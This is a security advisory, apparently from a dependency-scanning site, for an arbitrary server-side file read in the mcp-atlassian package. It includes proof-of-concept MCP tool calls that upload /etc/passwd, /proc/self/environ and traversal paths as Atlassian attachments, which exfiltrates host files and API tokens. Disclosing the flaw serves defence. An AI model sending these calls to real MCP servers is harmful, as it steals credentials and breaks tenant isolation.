PyPI · mcp-atlassian
mcp-atlassian: Arbitrary server-side file read via attachment upload
A client that can invoke MCP tools can read arbitrary files from the server host and exfiltrate them as Atlassian attachments. The attachment-upload tools take a client-supplied file_path and open() it on the server's filesystem.
The upload tools are meant to attach a file from the caller's environment — the client supplies a path expecting it to refer to its own machine. Over a remote transport (HTTP/SSE) that path is instead resolved and read on the server, and the tool offers no way for the client to send file content in place of a server-side path. A remote client therefore reads the server's files — and, in multi-tenant deployments, other tenants' data — instead of its own. (In a local stdio deployment the server runs as the user, so the path refers to the user's own files and reading any path is the intended behavior; the exposure is specific to remote/multi-user transports.)
The upload tools read a client-supplied path directly on the server:
src/mcp_atlassian/confluence/attachments.py — upload_attachment → _upload_attachment_direct → os.path.abspath(file_path) → open(file_path, "rb")src/mcp_atlassian/jira/attachments.py — upload_attachment → os.path.abspath(file_path) → open(file_path, "rb")os.path.abspath() only normalizes the path; the file is then opened on the server wherever it points and its bytes are sent to Atlassian as an attachment. There is no path a client can use to reference its own filesystem, and no option to upload raw content instead of a server-side path.
Client-reachable entry points that hit these sinks:
confluence_upload_attachment → ConfluenceFetcher.upload_attachment. The file_path field is documented as "absolute … or relative to the current working directory."confluence_upload_attachments → loops over the same sink.jira_update_issue — its attachments parameter (JSON array or comma-separated list of paths) flows through IssuesMixin.update_issue → self.upload_attachments → the Jira sink. There is no standalone jira_upload_attachment tool; jira_update_issue is the only Jira entry point.Local reproduction
Extract traversal_upload_attachment_file_read.zip:
# Fill credentials in docker-compose.yml; set CONFLUENCE_PAGE_ID / JIRA_ISSUE_KEY in poc.sh
docker compose up -d # mcp-atlassian, streamable-http, 0.0.0.0, READ_ONLY_MODE=false
./poc.sh # exits 0 on success
Requires Docker, curl, jq, and an Atlassian Cloud site with a Confluence page and a Jira issue (free tier works). The script runs the steps below and confirms the
/etc/passwdround-trip. Planted attachments are intentionally left in place so they can be confirmed in the Atlassian UI.
All calls are issued against the HTTP transport with READ_ONLY_MODE=false (the default).
Step 1 — read /etc/passwd from the server via Confluence upload:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/etc/passwd" }
← { "message": "Attachment uploaded successfully",
"attachment": { "success": true, "filename": "passwd", "id": "att<...>" } }
Step 2 — retrieve the exfiltrated content back through MCP (round-trip proves a real read):
req → tools/call confluence_download_attachment { "attachment_id": "att<...>" }
← base64 resource decoding to:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
Step 3 — same primitive via the Jira entry point (second sink):
req → tools/call jira_update_issue
{ "issue_key": "<ISSUE_KEY>", "fields": "{}", "attachments": "/etc/passwd" }
← { "attachment_results": { ... "success": true ... } }
Step 4 — credential disclosure via /proc/self/environ:
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "/proc/self/environ" }
← success; the resulting "environ" attachment contains the server's env,
including JIRA_API_TOKEN / CONFLUENCE_API_TOKEN.
(os.path.getsize reports 0 for procfs, but the upload transmits the real content — the attachment shows ~1 kB in the Confluence UI.)
Step 5 — relative traversal accepted (no containment):
req → tools/call confluence_upload_attachment
{ "content_id": "<PAGE_ID>", "file_path": "../../../../etc/hostname" }
← success — relative paths are resolved and read on the server just like absolute ones.
The uploaded files (passwd, environ, hostname) appear as real attachments on the Confluence page, confirming the server read them off its own host.
Any client that can invoke the upload tools can exfiltrate arbitrary files readable by the server process (e.g. /etc/passwd, /proc/self/environ, application config, key material). Uploading /proc/self/environ discloses the server's environment variables — including the configured JIRA_API_TOKEN / CONFLUENCE_API_TOKEN — i.e. the server process's own Atlassian credentials and any other secrets on the host. In a multi-tenant HTTP deployment this also breaks tenant isolation: one client reads files belonging to the deployment or to other tenants.
The security impact concentrates in remote / HTTP-transport deployments (sse, streamable-http, default bind 0.0.0.0), where the file_path resolves on the server host rather than the client's. In a single-user stdio deployment the path refers to the user's own machine, so there is no boundary crossing.
Discovered by Francisco Rosales of Manifold Security
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.